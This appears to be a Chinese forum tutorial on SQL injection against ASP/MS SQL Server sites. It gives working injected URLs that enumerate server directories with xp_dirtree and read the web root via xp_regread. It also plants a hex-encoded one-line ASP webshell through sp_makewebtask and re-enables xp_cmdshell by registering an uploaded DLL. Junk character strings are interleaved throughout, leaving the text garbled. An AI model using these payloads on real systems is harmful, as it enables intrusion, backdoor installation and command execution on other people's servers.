好,我们exec master..xp_dirtree'd:/test'8 @5 W% i! I; Y
假设我们在test里有两个文件夹test1和test2在test1里又有test3# Z# I9 Q( q5 f. K# l, ^, W
结果显示3 H4 Y7 C4 F% B5 N5 g
! Z7 y" I1 U$ @5 Jsubdirectory depth* g7 T/ [+ d9 ?6 d8 y. y1 K/ q: L/ v5 \( J
test1 1" f& b; @+ @; T% P
test3 2
" l8 M3 m/ g. Ytest2 1
5 \- I. m- g! R' n. `- J. p6 _
* j. h3 S! R+ I4 H' Q1 r哈哈发现没有那个depth就是目录的级数- A* s5 U; ^ H
ok了,知道怎么办了吧# P$ W) @: y) h" \3 U6 P
! q5 U, K1 n* G5 ?# R$ Bhttp://www.xxxxx.com/down/list.asp?id=1;create table dirs(paths varchar(1000),id int)--
- X. U' x3 k- O/ ~http://www.xxxxx.com/down/list.asp?id=1;insert dirs exec master.dbo.xp_dirtree 'd:\' --
Y- s. |" }% E: @3 u3 ?http://www.xxxxx.com/down/list.asp?id=1 and 0<>(select top 1 paths from dirs where id=1)-
8 Z, o: w- f$ J6 a7 t
$ S& w- D9 q" u7 s1 k只要加上id=1,就是第一级目录 。: @0 a9 b5 S8 _ `5 [
& a* q9 ?% P) v
1 N1 ^0 `2 ]/ k1 F通过注册表读网站路径:( B$ i( f5 i+ Q; }; l) g, e" l2 M
% U, Z7 K' y2 \* |2 p1.;create table [dbo].[cyfd] ([gyfd][char](255));2 V- K: }# o+ \1 q
8 E) g! A% [ y& a5 J2 b7 [ U
2.DECLARE @result varchar(255) EXEC master.dbo.xp_regread 'HKEY_LOCAL_MACHINE', 'SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots', '/', @result output insert into 临时表 (临时字段名) values(@result);--
* m7 m& D6 f2 k$ O# Uid=2;DECLARE @result varchar(255) EXEC master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots', '/', @result output insert into cyfd (gyfd) values(@result);--
2 ?4 a( y0 W9 K" B
0 P! T0 V) S6 ?6 b/ @3 { u& p! O3.and 1=(select count(*) from 临时表 where 临时字段名>1)$ C- Y0 Q4 Y" m# z% x! g9 O
and 1=(select count(*) from cyfd where gyfd > 1) ! t$ y: \, ?# V( R( s$ F2 G
这样IE报错,就把刚才插进去的Web路径的值报出来了
0 S, f3 j+ \2 @, ?4 D! C$ a/ w
$ e3 K' Y# s( |# D' [) t: N" D4.drop table cyfd;-- 删除临时表 T. {* _0 m' s( n! h5 L6 x
" _1 h, v3 `# u( ?' Z获得webshell方法:
' r* P+ z5 l1 c/ {0 O1.create table cmd (a image)-- \**cmd是创建的临时表( @7 d' ^; ^/ m J
# b1 p5 P7 p' y) y- ^' J
2.insert into cmd (a) values (0x3C25657865637574652872657175657374282261222929253EDA)-- 往cmd表里插入一句话
( J% g9 H7 O: c8 V! M3 l
' v& f4 u/ Y2 ~$ ]3 _% G
# ?3 L0 o, ]3 r1 k6 J1 A+ _7 V3.EXECUTE sp_makewebtask @outputfile = 'WEB绝对路径\导出的文件名.asp',@query = 'SELECT image FROM cmd'' r; b, _) A [% Y
EXECUTE sp_makewebtask @outputfile = 'WEB绝对路径\导出的文件名.asp',@query = 'SELECT 你的字段 FROM 你建的临时表'
* w9 j+ n# V$ Q; ^4 ]0 I4 o+ j) T* R
4.drop table cmd;-- 删除cmd临时表- ?: c- o2 z1 u" g7 \
. N0 x2 \% n$ n, ^0 z: @- b
恢复xp_cmdshell方法之一:3 b$ L+ ?5 u8 C* W9 ?, k5 X
我很快就把xplog70.dll文件给他上传到e:\inetpub\wwwroot目录下了,来吧,我们来给他恢复,提交:( R: |4 w9 q B' |3 _' w
http://www.something.com/script.asp?id=2;EXEC master.dbo.sp_addextendedproc 'xp_cmdshell','e:\inetpub\wwwroot\xplog70.dll'1 {' O8 N c* L0 T% U
恢复,支持绝对路径的恢复哦。:)
# z3 h+ V6 s: h# u' m |